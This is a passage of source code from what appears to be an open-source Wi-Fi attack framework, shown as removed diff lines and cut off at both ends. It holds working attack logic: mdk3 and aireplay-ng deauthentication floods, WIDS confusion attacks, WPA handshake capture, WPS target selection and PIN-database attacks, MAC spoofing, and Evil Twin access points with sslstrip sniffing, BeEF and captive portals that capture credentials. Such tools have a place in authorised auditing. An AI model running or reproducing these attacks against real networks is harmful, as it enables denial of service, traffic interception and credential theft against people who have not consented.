"yellow" - return 0 -} - -#Check for write permissions on a given path -function check_write_permissions() { - - debug_print - - if [ -w "${1}" ]; then - return 0 - fi - return 1 -} - -#Create a var with the name passed to the function and reading the value from the user input -function read_and_clean_path() { - - debug_print - - settings="$(shopt -p extglob)" - shopt -s extglob - - read -r var - local regexp='^[ '"'"']*(.*[^ '"'"'])[ '"'"']*$' - [[ ${var} =~ ${regexp} ]] && var="${BASH_REMATCH[1]}" - eval "${1}=\$var" - - eval "${settings}" -} - -#Read and validate a path -function read_path() { - - debug_print - - echo - case ${1} in - "handshake") - language_strings "${language}" 148 "green" - read_and_clean_path "enteredpath" - if [ -z "${enteredpath}" ]; then - enteredpath="${handshakepath}" - fi - validate_path "${enteredpath}" "${1}" - ;; - "cleanhandshake") - language_strings "${language}" 154 "green" - read_and_clean_path "filetoclean" - check_file_exists "${filetoclean}" - ;; - "dictionary") - language_strings "${language}" 180 "green" - read_and_clean_path "DICTIONARY" - check_file_exists "${DICTIONARY}" - ;; - "targetfilefordecrypt") - language_strings "${language}" 188 "green" - read_and_clean_path "enteredpath" - check_file_exists "${enteredpath}" - ;; - "rules") - language_strings "${language}" 242 "green" - read_and_clean_path "RULES" - check_file_exists "${RULES}" - ;; - "hashcatpot") - language_strings "${language}" 233 "green" - read_and_clean_path "potenteredpath" - if [ -z "${potenteredpath}" ]; then - potenteredpath="${hashcat_potpath}" - fi - validate_path "${potenteredpath}" "${1}" - ;; - "ettercaplog") - language_strings "${language}" 303 "green" - read_and_clean_path "ettercap_logpath" - if [ -z "${ettercap_logpath}" ]; then - ettercap_logpath="${default_ettercap_logpath}" - fi - validate_path "${ettercap_logpath}" "${1}" - ;; - "bettercaplog") - language_strings "${language}" 398 "green" - read_and_clean_path "bettercap_logpath" - if [ -z "${bettercap_logpath}" ]; then - bettercap_logpath="${default_bettercap_logpath}" - fi - validate_path "${bettercap_logpath}" "${1}" - ;; - "ethandshake") - language_strings "${language}" 154 "green" - read_and_clean_path "et_handshake" - check_file_exists "${et_handshake}" - ;; - "writeethandshake") - language_strings "${language}" 148 "green" - read_and_clean_path "et_handshake" - if [ -z "${et_handshake}" ]; then - et_handshake="${handshakepath}" - fi - validate_path "${et_handshake}" "${1}" - ;; - "et_captive_portallog") - language_strings "${language}" 317 "blue" - read_and_clean_path "et_captive_portal_logpath" - if [ -z "${et_captive_portal_logpath}" ]; then - et_captive_portal_logpath="${default_et_captive_portal_logpath}" - fi - validate_path "${et_captive_portal_logpath}" "${1}" - ;; - esac - - validpath="$?" - return "${validpath}" -} - -#Launch the DoS selection menu before capture a Handshake and process the captured file -function attack_handshake_menu() { - - debug_print - - if [ "${1}" = "handshake" ]; then - ask_yesno 145 - handshake_captured=${yesno} - kill "${processidcapture}" &> /dev/null - if [ "${handshake_captured}" = "y" ]; then - - handshakepath="${default_save_path}" - lastcharhandshakepath=${handshakepath: -1} - if [ "${lastcharhandshakepath}" != "/" ]; then - handshakepath="${handshakepath}/" - fi - handshakefilename="handshake-${bssid}.cap" - handshakepath="${handshakepath}${handshakefilename}" - - language_strings "${language}" 162 "yellow" - validpath=1 - while [[ "${validpath}" != "0" ]]; do - read_path "handshake" - done - - cp "${tmpdir}${standardhandshake_filename}" "${enteredpath}" - echo - language_strings "${language}" 149 "blue" - language_strings "${language}" 115 "read" - return - else - echo - language_strings "${language}" 146 "red" - language_strings "${language}" 115 "read" - fi - fi - - clear - language_strings "${language}" 138 "title" - current_menu="attack_handshake_menu" - initialize_menu_and_print_selections - echo - language_strings "${language}" 47 "green" - print_simple_separator - language_strings "${language}" 139 mdk3_attack_dependencies[@] - language_strings "${language}" 140 aireplay_attack_dependencies[@] - language_strings "${language}" 141 mdk3_attack_dependencies[@] - print_simple_separator - language_strings "${language}" 147 - print_hint ${current_menu} - - read -r attack_handshake_option - case ${attack_handshake_option} in - 1) - contains_element "${attack_handshake_option}" "${forbidden_options[@]}" - if [ "$?" = "0" ]; then - forbidden_menu_option - attack_handshake_menu "new" - else - capture_handshake_window - rm -rf "${tmpdir}bl.txt" > /dev/null 2>&1 - echo "${bssid}" > "${tmpdir}bl.txt" - recalculate_windows_sizes - xterm +j -bg black -fg red -geometry "${g1_bottomleft_window}" -T "mdk3 amok attack" -e mdk3 "${interface}" d -b "${tmpdir}bl.txt" -c "${channel}" > /dev/null 2>&1 & - sleeptimeattack=12 - fi - ;; - 2) - contains_element "${attack_handshake_option}" "${forbidden_options[@]}" - if [ "$?" = "0" ]; then - forbidden_menu_option - attack_handshake_menu "new" - else - capture_handshake_window - ${airmon} start "${interface}" "${channel}" > /dev/null 2>&1 - recalculate_windows_sizes - xterm +j -bg black -fg red -geometry "${g1_bottomleft_window}" -T "aireplay deauth attack" -e aireplay-ng --deauth 0 -a "${bssid}" --ignore-negative-one "${interface}" > /dev/null 2>&1 & - sleeptimeattack=12 - fi - ;; - 3) - contains_element "${attack_handshake_option}" "${forbidden_options[@]}" - if [ "$?" = "0" ]; then - forbidden_menu_option - attack_handshake_menu "new" - else - capture_handshake_window - recalculate_windows_sizes - xterm +j -bg black -fg red -geometry "${g1_bottomleft_window}" -T "wids / wips / wds confusion attack" -e mdk3 "${interface}" w -e "${essid}" -c "${channel}" > /dev/null 2>&1 & - sleeptimeattack=16 - fi - ;; - 4) - return - ;; - *) - invalid_menu_option - attack_handshake_menu "new" - ;; - esac - - processidattack=$! - sleep ${sleeptimeattack} && kill ${processidattack} &> /dev/null - - attack_handshake_menu "handshake" -} - -#Launch the Handshake capture window -function capture_handshake_window() { - - debug_print - - language_strings "${language}" 143 "blue" - echo - language_strings "${language}" 144 "yellow" - language_strings "${language}" 115 "read" - echo - language_strings "${language}" 325 "blue" - - rm -rf "${tmpdir}handshake"* > /dev/null 2>&1 - recalculate_windows_sizes - xterm +j -sb -rightbar -geometry "${g1_topright_window}" -T "Capturing Handshake" -e airodump-ng -c "${channel}" -d "${bssid}" -w "${tmpdir}handshake" "${interface}" > /dev/null 2>&1 & - processidcapture=$! -} - -#Manage target exploration and parse the output files -function explore_for_targets_option() { - - debug_print - - echo - language_strings "${language}" 103 "title" - language_strings "${language}" 65 "green" - - check_monitor_enabled - if [ "$?" != "0" ]; then - return 1 - fi - - echo - language_strings "${language}" 66 "yellow" - echo - language_strings "${language}" 67 "yellow" - language_strings "${language}" 115 "read" - - tmpfiles_toclean=1 - rm -rf "${tmpdir}nws"* > /dev/null 2>&1 - rm -rf "${tmpdir}clts.csv" > /dev/null 2>&1 - recalculate_windows_sizes - xterm +j -bg black -fg white -geometry "${g1_topright_window}" -T "Exploring for targets" -e airodump-ng -w "${tmpdir}nws" "${interface}" > /dev/null 2>&1 - targetline=$(awk '/(^Station[s]?|^Client[es]?)/{print NR}' < "${tmpdir}nws-01.csv") - targetline=$((targetline - 1)) - - head -n "${targetline}" "${tmpdir}nws-01.csv" &> "${tmpdir}nws.csv" - tail -n +"${targetline}" "${tmpdir}nws-01.csv" &> "${tmpdir}clts.csv" - - csvline=$(wc -l "${tmpdir}nws.csv" 2> /dev/null | awk '{print $1}') - if [ "${csvline}" -le 3 ]; then - echo - language_strings "${language}" 68 "red" - language_strings "${language}" 115 "read" - return 1 - fi - - rm -rf "${tmpdir}nws.txt" > /dev/null 2>&1 - rm -rf "${tmpdir}wnws.txt" > /dev/null 2>&1 - i=0 - while IFS=, read -r exp_mac _ _ exp_channel _ exp_enc _ _ exp_power _ _ _ exp_idlength exp_essid _; do - - chars_mac=${#exp_mac} - if [ "${chars_mac}" -ge 17 ]; then - i=$((i+1)) - if [[ ${exp_power} -lt 0 ]]; then - if [[ ${exp_power} -eq -1 ]]; then - exp_power=0 - else - exp_power=$((exp_power + 100)) - fi - fi - - exp_power=$(echo "${exp_power}" | awk '{gsub(/ /,""); print}') - exp_essid=${exp_essid:1:${exp_idlength}} - if [[ "${exp_channel}" -gt 14 ]] || [[ "${exp_channel}" -lt 1 ]]; then - exp_channel=0 - else - exp_channel=$(echo "${exp_channel}" | awk '{gsub(/ /,""); print}') - fi - - if [[ "${exp_essid}" = "" ]] || [[ "${exp_channel}" = "-1" ]]; then - exp_essid="(Hidden Network)" - fi - - exp_enc=$(echo "${exp_enc}" | awk '{print $1}') - - echo -e "${exp_mac},${exp_channel},${exp_power},${exp_essid},${exp_enc}" >> "${tmpdir}nws.txt" - fi - done < "${tmpdir}nws.csv" - sort -t "," -d -k 4 "${tmpdir}nws.txt" > "${tmpdir}wnws.txt" - select_target -} - -#Manage target exploration only for Access Points with WPS activated. Parse output files and print menu with results -function explore_for_wps_targets_option() { - - debug_print - - echo - language_strings "${language}" 103 "title" - language_strings "${language}" 65 "green" - - check_monitor_enabled - if [ "$?" != "0" ]; then - return 1 - fi - - echo - language_strings "${language}" 66 "yellow" - echo - if ! grep -qe "${interface}" <(echo "${!wash_ifaces_already_set[@]}"); then - language_strings "${language}" 353 "blue" - set_wash_parameterization - language_strings "${language}" 354 "yellow" - else - language_strings "${language}" 355 "blue" - fi - echo - language_strings "${language}" 67 "yellow" - language_strings "${language}" 115 "read" - - tmpfiles_toclean=1 - rm -rf "${tmpdir}wps"* > /dev/null 2>&1 - recalculate_windows_sizes - xterm +j -bg black -fg white -geometry "${g1_topright_window}" -T "Exploring for WPS targets" -e "wash -i \"${interface}\" ${wash_ifaces_already_set[${interface}]} | tee \"${tmpdir}wps.txt\"" > /dev/null 2>&1 - - readarray -t WASH_PREVIEW < <(cat < "${tmpdir}wps.txt" 2> /dev/null) - - wash_header_found=0 - wash_line_counter=1 - for item in "${WASH_PREVIEW[@]}"; do - if [[ ${item} =~ -{20} ]]; then - wash_start_data_line="${wash_line_counter}" - wash_header_found=1 - break - else - wash_line_counter=$((wash_line_counter+1)) - fi - done - - if [ "${wash_header_found}" -eq 0 ]; then - echo - language_strings "${language}" 417 "red" - language_strings "${language}" 115 "read" - return 1 - fi - - washlines=$(wc -l "${tmpdir}wps.txt" 2> /dev/null | awk '{print $1}') - if [ "${washlines}" -le ${wash_start_data_line} ]; then - echo - language_strings "${language}" 68 "red" - language_strings "${language}" 115 "read" - return 1 - fi - - clear - language_strings "${language}" 104 "title" - echo - language_strings "${language}" 349 "green" - print_large_separator - - i=0 - wash_counter=0 - declare -A wps_lockeds - wps_lockeds[${wash_counter}]="No" - while IFS=, read -r expwps_line; do - - i=$((i+1)) - - if [ ${i} -le ${wash_start_data_line} ]; then - continue - else - wash_counter=$((wash_counter+1)) - - if [ ${wash_counter} -le 9 ]; then - wpssp1=" " - else - wpssp1="" - fi - - expwps_bssid=$(echo "${expwps_line}" | awk '{print $1}') - expwps_channel=$(echo "${expwps_line}" | awk '{print $2}') - expwps_power=$(echo "${expwps_line}" | awk '{print $3}') - expwps_locked=$(echo "${expwps_line}" | awk '{print $5}') - expwps_essid=$(echo "${expwps_line}" | awk '{$1=$2=$3=$4=$5=""; print $0}' | sed -e 's/^[ \t]*//') - - if [[ ${expwps_channel} -le 9 ]]; then - wpssp2=" " - if [[ ${expwps_channel} -eq 0 ]]; then - expwps_channel="-" - fi - else - wpssp2="" - fi - - if [[ "${expwps_power}" = "" ]] || [[ "${expwps_power}" = "-00" ]]; then - expwps_power=0 - fi - - if [[ ${expwps_power} =~ ^-0 ]]; then - expwps_power=${expwps_power//0/} - fi - - if [[ ${expwps_power} -lt 0 ]]; then - if [[ ${expwps_power} -eq -1 ]]; then - exp_power=0 - else - expwps_power=$((expwps_power + 100)) - fi - fi - - if [[ ${expwps_power} -le 9 ]]; then - wpssp4=" " - else - wpssp4="" - fi - - wash_color="${normal_color}" - if [ "${expwps_locked}" = "Yes" ]; then - wash_color="${red_color}" - wpssp3="" - else - wpssp3=" " - fi - - wps_network_names[$wash_counter]=${expwps_essid} - wps_channels[$wash_counter]=${expwps_channel} - wps_macs[$wash_counter]=${expwps_bssid} - wps_lockeds[$wash_counter]=${expwps_locked} - echo -e "${wash_color} ${wpssp1}${wash_counter}) ${expwps_bssid} ${wpssp2}${expwps_channel} ${wpssp4}${expwps_power}% ${expwps_locked}${wpssp3} ${expwps_essid}" - fi - done < "${tmpdir}wps.txt" - - echo - if [ ${wash_counter} -eq 1 ]; then - language_strings "${language}" 70 "yellow" - selected_wps_target_network=1 - language_strings "${language}" 115 "read" - else - print_large_separator - language_strings "${language}" 3 "green" - read -r selected_wps_target_network - fi - - while [[ ${selected_wps_target_network} -lt 1 ]] || [[ ${selected_wps_target_network} -gt ${wash_counter} ]] || [[ ${wps_lockeds[${selected_wps_target_network}]} = "Yes" ]]; do - - if [[ ${selected_wps_target_network} -ge 1 ]] && [[ ${selected_wps_target_network} -le ${wash_counter} ]]; then - if [ "${wps_lockeds[${selected_wps_target_network}]}" = "Yes" ]; then - ask_yesno 350 - if [ ${yesno} = "y" ]; then - break - else - echo - language_strings "${language}" 3 "green" - read -r selected_wps_target_network - continue - fi - fi - fi - - echo - language_strings "${language}" 72 "red" - echo - language_strings "${language}" 3 "green" - read -r selected_wps_target_network - done - - wps_essid=${wps_network_names[${selected_wps_target_network}]} - wps_channel=${wps_channels[${selected_wps_target_network}]} - wps_bssid=${wps_macs[${selected_wps_target_network}]} - wps_locked=${wps_lockeds[${selected_wps_target_network}]} -} - -#Create a menu to select target from the parsed data -function select_target() { - - debug_print - - clear - language_strings "${language}" 104 "title" - echo - language_strings "${language}" 69 "green" - print_large_separator - i=0 - while IFS=, read -r exp_mac exp_channel exp_power exp_essid exp_enc; do - - i=$((i+1)) - - if [ ${i} -le 9 ]; then - sp1=" " - else - sp1="" - fi - - if [[ ${exp_channel} -le 9 ]]; then - sp2=" " - if [[ ${exp_channel} -eq 0 ]]; then - exp_channel="-" - fi - else - sp2="" - fi - - if [[ "${exp_power}" = "" ]]; then - exp_power=0 - fi - - if [[ ${exp_power} -le 9 ]]; then - sp4=" " - else - sp4="" - fi - - airodump_color="${normal_color}" - client=$(grep "${exp_mac}" < "${tmpdir}clts.csv") - if [ "${client}" != "" ]; then - airodump_color="${yellow_color}" - client="*" - sp5="" - else - sp5=" " - fi - - enc_length=${#exp_enc} - if [ "${enc_length}" -gt 3 ]; then - sp6="" - elif [ "${enc_length}" -eq 0 ]; then - sp6=" " - else - sp6=" " - fi - - network_names[$i]=${exp_essid} - channels[$i]=${exp_channel} - macs[$i]=${exp_mac} - encs[$i]=${exp_enc} - echo -e "${airodump_color} ${sp1}${i})${client} ${sp5}${exp_mac} ${sp2}${exp_channel} ${sp4}${exp_power}% ${exp_enc}${sp6} ${exp_essid}" - done < "${tmpdir}wnws.txt" - - echo - if [ ${i} -eq 1 ]; then - language_strings "${language}" 70 "yellow" - selected_target_network=1 - language_strings "${language}" 115 "read" - else - language_strings "${language}" 71 "yellow" - print_large_separator - language_strings "${language}" 3 "green" - read -r selected_target_network - fi - - while [[ ${selected_target_network} -lt 1 ]] || [[ ${selected_target_network} -gt ${i} ]]; do - echo - language_strings "${language}" 72 "red" - echo - language_strings "${language}" 3 "green" - read -r selected_target_network - done - - essid=${network_names[${selected_target_network}]} - channel=${channels[${selected_target_network}]} - bssid=${macs[${selected_target_network}]} - enc=${encs[${selected_target_network}]} -} - -#Perform a test to determine if fcs parameter is needed on wash scanning -function set_wash_parameterization() { - - debug_print - - fcs="" - declare -gA wash_ifaces_already_set - readarray -t WASH_OUTPUT < <(timeout -s SIGTERM 2 wash -i "${interface}" 2> /dev/null) - - for item in "${WASH_OUTPUT[@]}"; do - if [[ ${item} =~ ^\[\!\].*bad[[:space:]]FCS ]]; then - fcs="-C" - break - fi - done - - wash_ifaces_already_set[${interface}]=${fcs} -} - -#Manage and validate the prerequisites for wps pin database attacks -function wps_pin_database_prerequisites() { - - debug_print - - set_wps_mac_parameters - - #shellcheck source=./known_pins.db - source "${scriptfolder}${known_pins_dbfile}" - - echo - language_strings "${language}" 384 "blue" - echo - search_in_pin_database - if [ ${bssid_found_in_db} -eq 1 ]; then - if [ ${counter_pins_found} -eq 1 ]; then - language_strings "${language}" 385 "yellow" - else - language_strings "${language}" 386 "yellow" - fi - else - language_strings "${language}" 387 "yellow" - fi - - check_and_set_common_algorithms - echo - language_strings "${language}" 366 "blue" - language_strings "${language}" 4 "read" -} - -#Manage and validate the prerequisites for Evil Twin attacks -function et_prerequisites() { - - debug_print - - if [ ${retry_handshake_capture} -eq 1 ]; then - return - fi - - current_menu="evil_twin_attacks_menu" - clear - - case ${et_mode} in - "et_onlyap") - language_strings "${language}" 270 "title" - ;; - "et_sniffing") - language_strings "${language}" 291 "title" - ;; - "et_sniffing_sslstrip") - language_strings "${language}" 292 "title" - ;; - "et_sniffing_sslstrip2") - language_strings "${language}" 397 "title" - ;; - "et_captive_portal") - language_strings "${language}" 293 "title" - ;; - esac - - print_iface_selected - print_et_target_vars - print_iface_internet_selected - print_hint ${current_menu} - echo - - if [ "${et_mode}" != "et_captive_portal" ]; then - language_strings "${language}" 275 "blue" - echo - language_strings "${language}" 276 "yellow" - print_simple_separator - ask_yesno 277 - if [ ${yesno} = "n" ]; then - return_to_et_main_menu=1 - return_to_et_main_menu_from_beef=1 - return - fi - fi - - ask_yesno 419 - if [ ${yesno} = "y" ]; then - mac_spoofing_desired=1 - fi - - if [ "${et_mode}" = "et_captive_portal" ]; then - - language_strings "${language}" 315 "yellow" - echo - language_strings "${language}" 286 "pink" - print_simple_separator - if [ ${retrying_handshake_capture} -eq 0 ]; then - ask_yesno 321 - fi - - if [[ ${yesno} = "n" ]] || [[ ${retrying_handshake_capture} -eq 1 ]]; then - capture_handshake_evil_twin - case "$?" in - "2") - retry_handshake_capture=1 - return - ;; - "1") - return_to_et_main_menu=1 - return - ;; - esac - else - ask_et_handshake_file - fi - retry_handshake_capture=0 - retrying_handshake_capture=0 - internet_interface_selected=0 - - check_bssid_in_captured_file "${et_handshake}" - if [ "$?" != "0" ]; then - return_to_et_main_menu=1 - return - fi - - echo - language_strings "${language}" 28 "blue" - - echo - language_strings "${language}" 26 "blue" - - echo - language_strings "${language}" 31 "blue" - else - ask_bssid - ask_channel - ask_essid - fi - - if [[ "${et_mode}" = "et_sniffing" ]] || [[ "${et_mode}" = "et_sniffing_sslstrip" ]]; then - manage_ettercap_log - elif [ "${et_mode}" = "et_sniffing_sslstrip2" ]; then - manage_bettercap_log - elif [ "${et_mode}" = "et_captive_portal" ]; then - manage_captive_portal_log - language_strings "${language}" 115 "read" - set_captive_portal_language - language_strings "${language}" 319 "blue" - fi - - return_to_et_main_menu=1 - return_to_et_main_menu_from_beef=1 - - if [ "${is_docker}" -eq 1 ]; then - echo - language_strings "${language}" 420 "pink" - language_strings "${language}" 115 "read" - fi - - echo - language_strings "${language}" 296 "yellow" - language_strings "${language}" 115 "read" - prepare_et_interface - - case ${et_mode} in - "et_onlyap") - exec_et_onlyap_attack - ;; - "et_sniffing") - exec_et_sniffing_attack - ;; - "et_sniffing_sslstrip") - exec_et_sniffing_sslstrip_attack - ;; - "et_sniffing_sslstrip2") - exec_et_sniffing_sslstrip2_attack - ;; - "et_captive_portal") - exec_et_captive_portal_attack - ;; - esac -} - -#Manage the Handshake file requirement for captive portal Evil Twin attack -function ask_et_handshake_file() { - - debug_print - - echo - readpath=0 - - if [[ -z "${enteredpath}" ]] && [[ -z "${et_handshake}" ]]; then - language_strings "${language}" 312 "blue" - readpath=1 - elif [[ -z "${enteredpath}" ]] && [[ -n "${et_handshake}" ]]; then - language_strings "${language}" 313 "blue" - ask_yesno 187 - if [ ${yesno} = "n" ]; then - readpath=1 - fi - elif [[ -n "${enteredpath}" ]] && [[ -z "${et_handshake}" ]]; then - language_strings "${language}" 151 "blue" - ask_yesno 187 - if [ ${yesno} = "y" ]; then - et_handshake="${enteredpath}" - else - readpath=1 - fi - elif [[ -n "${enteredpath}" ]] && [[ -n "${et_handshake}" ]]; then - language_strings "${language}" 313 "blue" - ask_yesno 187 - if [ ${yesno} = "n" ]; then - readpath=1 - fi - fi - - if [ ${readpath} -eq 1 ]; then - validpath=1 - while [[ "${validpath}" != "0" ]]; do - read_path "ethandshake" - done - fi -} - -#DoS Evil Twin attacks menu -function et_dos_menu() { - - debug_print - - if [ ${return_to_et_main_menu} -eq 1 ]; then - return - fi - - clear - language_strings "${language}" 265 "title" - current_menu="et_dos_menu" - initialize_menu_and_print_selections - echo - language_strings "${language}" 47 "green" - print_simple_separator - language_strings "${language}" 139 mdk3_attack_dependencies[@] - language_strings "${language}" 140 aireplay_attack_dependencies[@] - language_strings "${language}" 141 mdk3_attack_dependencies[@] - print_simple_separator - language_strings "${language}" 266 - print_hint ${current_menu} - - read -r et_dos_option - case ${et_dos_option} in - 1) - contains_element "${et_dos_option}" "${forbidden_options[@]}" - if [ "$?" = "0" ]; then - forbidden_menu_option - else - et_dos_attack="Mdk3" - if [ "${et_mode}" = "et_captive_portal" ]; then - if [ ${internet_interface_selected} -eq 0 ]; then - language_strings "${language}" 330 "blue" - ask_yesno 326 - if [ ${yesno} = "n" ]; then - check_et_without_internet_compatibility - if [ "$?" = "0" ]; then - captive_portal_mode="dnsblackhole" - internet_interface_selected=1 - echo - language_strings "${language}" 329 "yellow" - language_strings "${language}" 115 "read" - et_prerequisites - else - echo - language_strings "${language}" 327 "red" - language_strings "${language}" 115 "read" - return_to_et_main_menu=1 - return - fi - else - detect_internet_interface - if [ "$?" = "0" ]; then - et_prerequisites - else - return - fi - fi - else - et_prerequisites - fi - else - detect_internet_interface - if [ "$?" = "0" ]; then - et_prerequisites - else - return - fi - fi - fi - ;; - 2) - contains_element "${et_dos_option}" "${forbidden_options[@]}" - if [ "$?" = "0" ]; then - forbidden_menu_option - else - et_dos_attack="Aireplay" - if [ "${et_mode}" = "et_captive_portal" ]; then - if [ ${internet_interface_selected} -eq 0 ]; then - language_strings "${language}" 330 "blue" - ask_yesno 326 - if [ ${yesno} = "n" ]; then - check_et_without_internet_compatibility - if [ "$?" = "0" ]; then - captive_portal_mode="dnsblackhole" - internet_interface_selected=1 - echo - language_strings "${language}" 329 "yellow" - language_strings "${language}" 115 "read" - et_prerequisites - else - echo - language_strings "${language}" 327 "red" - language_strings "${language}" 115 "read" - return_to_et_main_menu=1 - return - fi - else - detect_internet_interface - if [ "$?" = "0" ]; then - et_prerequisites - else - return - fi - fi - else - et_prerequisites - fi - else - detect_internet_interface - if [ "$?" = "0" ]; then - et_prerequisites - else - return - fi - fi - fi - ;; - 3) - contains_element "${et_dos_option}" "${forbidden_options[@]}" - if [ "$?" = "0" ]; then - forbidden_menu_option - else - et_dos_attack="Wds Confusion" - if [ "${et_mode}" = "et_captive_portal" ]; then - if [ ${internet_interface_selected} -eq 0 ]; then - language_strings "${language}" 330 "blue" - ask_yesno 326 - if [ ${yesno} = "n" ]; then - check_et_without_internet_compatibility - if [ "$?" = "0" ]; then - captive_portal_mode="dnsblackhole" - internet_interface_selected=1 - echo - language_strings "${language}" 329 "yellow" - language_strings "${language}" 115 "read" - et_prerequisites - else - echo - language_strings "${language}" 327 "red" - language_strings "${language}" 115 "read" - return_to_et_main_menu=1 - return - fi - else - detect_internet_interface - if [ "$?" = "0" ]; then - et_prerequisites - else - return - fi - fi - else - et_prerequisites - fi - else - detect_internet_interface - if [ "$?" = "0" ]; then - et_prerequisites - else - return - fi - fi - fi - ;; - 4) - return_to_et_main_menu_from_beef=1 - return - ;; - *) - invalid_menu_option - ;; - esac - - et_dos_menu -} - -#Selected internet interface detection -function detect_internet_interface() { - - debug_print - - if [ ${internet_interface_selected} -eq 1 ]; then - return 0 - fi - - if [ -n "${internet_interface}" ]; then - echo - language_strings "${language}" 285 "blue" - ask_yesno 284 - if [ ${yesno} = "n" ]; then - select_internet_interface - fi - else - select_internet_interface - fi - - if [ "$?" != "0" ]; then - return 1 - fi - - validate_et_internet_interface - return $? -} - -#Show about and credits -function credits_option() { - - debug_print - - clear - language_strings "${language}" 105 "title" - language_strings "${language}" 74 "pink" - echo - language_strings "${language}" 73 "blue" - echo - echo -e "${green_color} .-\"\"\"\"-." - sleep 0.15 && echo -e " / \ " - sleep 0.15 && echo -e "${yellow_color} ____ ____ __ _______ ${green_color} /_ _\ " - sleep 0.15 && echo -e "${yellow_color} ___ _/_ | _____/_ |/ |_ \ _ \_______ ${green_color} // \ / \\\\\ " - sleep 0.15 && echo -e "${yellow_color} \ \/ /| |/ ___/| \ __\/ /_\ \_ __ \ ${green_color} |\__\ /__/|" - sleep 0.15 && echo -e "${yellow_color} \ / | |\___ \ | || | \ \_/ \ | \/ ${green_color} \ || /" - sleep 0.15 && echo -e "${yellow_color} \_/ |___/____ >|___||__| \_____ /__| ${green_color} \ /" - sleep 0.15 && echo -e "${yellow_color} \/ \/ ${green_color} \ __ / " - sleep 0.15 && echo -e " '.__.'" - sleep 0.15 && echo -e " | |${normal_color}" - echo - language_strings "${language}" 75 "blue" - echo - language_strings "${language}" 85 "pink" - language_strings "${language}" 107 "pink" - language_strings "${language}" 421 "pink" - echo - language_strings "${language}" 115 "read" -} - -#Show message for invalid selected language -function invalid_language_selected() { - - debug_print - - echo - language_strings "${language}" 82 "red" - echo - language_strings "${language}" 115 "read" - echo - language_menu -} - -#Show message for captive portal invalid selected language -function invalid_captive_portal_language_selected() { - - debug_print - - language_strings "${language}" 82 "red" - echo - language_strings "${language}" 115 "read" - set_captive_portal_language -} - -#Show message for forbidden selected option -function forbidden_menu_option() { - - debug_print - - echo - language_strings "${language}" 220 "red" - language_strings "${language}" 115 "read" -} - -#Show message for invalid selected option -function invalid_menu_option() { - - debug_print - - echo - language_strings "${language}" 76 "red" - language_strings "${language}" 115 "read" -} - -#Show message for invalid selected interface -function invalid_iface_selected() { - - debug_print - - echo - language_strings "${language}" 77 "red" - echo - language_strings "${language}" 115 "read" - echo - select_interface -} - -#Show message for invalid selected internet interface -function invalid_internet_iface_selected() { - - debug_print - - echo - language_strings "${language}" 77 "red" - echo - language_strings "${language}" 115 "read" - echo - select_internet_interface -} - -#Manage behavior of captured traps -function capture_traps() { - - debug_print - - if [ "${FUNCNAME[1]}" != "check_language_strings" ]; then - case "${1}" in - INT|SIGTSTP) - case ${current_menu} in - "pre_main_menu"|"select_interface_menu") - exit_code=1 - exit_script_option - ;; - *) - ask_yesno 12 - if [ ${yesno} = "y" ]; then - exit_code=1 - exit_script_option - else - language_strings "${language}" 224 "blue" - if [ "${last_buffered_type1}" = "read" ]; then - language_strings "${language}" "${last_buffered_message2}" "${last_buffered_type2}" - else - language_strings "${language}" "${last_buffered_message1}" "${last_buffered_type1}" - fi - fi - ;; - esac - ;; - SIGINT|SIGHUP) - hardcore_exit - ;; - esac - else - echo - hardcore_exit - fi -} - -#Exit the script managing possible pending tasks -function exit_script_option() { - - debug_print - - action_on_exit_taken=0 - echo - language_strings "${language}" 106 "title" - language_strings "${language}" 11 "blue" - - echo - language_strings "${language}" 165 "blue" - - if [ "${ifacemode}" = "Monitor" ]; then - ask_yesno 166 - if [ ${yesno} = "n" ]; then - action_on_exit_taken=1 - language_strings "${language}" 167 "multiline" - ${airmon} stop "${interface}" > /dev/null 2>&1 - ifacemode="Managed" - time_loop - echo -e "${green_color} Ok\r${normal_color}" - fi - fi - - if [ ${nm_processes_killed} -eq 1 ]; then - action_on_exit_taken=1 - language_strings "${language}" 168 "multiline" - eval "${networkmanager_cmd} > /dev/null 2>&1" - time_loop - echo -e "${green_color} Ok\r${normal_color}" - fi - - if [ ${tmpfiles_toclean} -eq 1 ]; then - action_on_exit_taken=1 - language_strings "${language}" 164 "multiline" - clean_tmpfiles - time_loop - echo -e "${green_color} Ok\r${normal_color}" - fi - - if [ ${routing_toclean} -eq 1 ]; then - action_on_exit_taken=1 - language_strings "${language}" 297 "multiline" - clean_routing_rules - killall dhcpd > /dev/null 2>&1 - killall hostapd > /dev/null 2>&1 - killall lighttpd > /dev/null 2>&1 - kill_beef - time_loop - echo -e "${green_color} Ok\r${normal_color}" - fi - - if [[ ${spoofed_mac} -eq 1 ]] && [[ "${ifacemode}" = "Managed" ]]; then - language_strings "${language}" 418 "multiline" - restore_spoofed_macs - time_loop - echo -e "${green_color} Ok\r${normal_color}" - fi - - if [ ${action_on_exit_taken} -eq 0 ]; then - language_strings "${language}" 160 "yellow" - fi - - echo - exit ${exit_code} -} - -#Exit the script managing possible pending tasks but not showing anything -function hardcore_exit() { - - debug_print - - exit_code=2 - if [ "${ifacemode}" = "Monitor" ]; then - ${airmon} stop "${interface}" > /dev/null 2>&1 - ifacemode="Managed" - fi - - if [ ${nm_processes_killed} -eq 1 ]; then - eval "${networkmanager_cmd} > /dev/null 2>&1" - fi - - if [ ${tmpfiles_toclean} -eq 1 ]; then - clean_tmpfiles - fi - - if [ ${routing_toclean} -eq 1 ]; then - clean_routing_rules - killall dhcpd > /dev/null 2>&1 - killall hostapd > /dev/null 2>&1 - killall lighttpd > /dev/null 2>&1 - kill_beef - fi - - if [[ ${spoofed_mac} -eq 1 ]] && [[ "${ifacemode}" = "Managed" ]]; then - language_strings "${language}" 418 "multiline" - restore_spoofed_macs - time_loop - echo -e "${green_color} Ok\r${normal_color}" - fi - - exit ${exit_code} -} - -#Generate a small time loop printing some dots -function time_loop() { - - debug_print - - echo -ne " " - for (( j=1; j<=4; j++ )); do - echo -ne "." - sleep 0.035 - done -} - -#Determine which version of airmon to use -function airmon_fix() { - - debug_print - - airmon="airmon-ng" - - if hash airmon-zc 2> /dev/null; then - airmon="airmon-zc" - fi -} - -#Prepare the fix for iwconfig command depending of the wireless tools version -function iwconfig_fix() { - - debug_print - - iwversion=$(iwconfig --version 2> /dev/null | grep version | awk '{print $4}') - iwcmdfix="" - if [ "${iwversion}" -lt 30 ]; then - iwcmdfix=" 2> /dev/null | grep Mode: " - fi -} - -#Set hashcat parameters based on version -function set_hashcat_parameters() { - - debug_print - - hashcat_fix="" - hashcat_charset_fix_needed=0 - if compare_floats_greater_or_equal "${hashcat_version}" 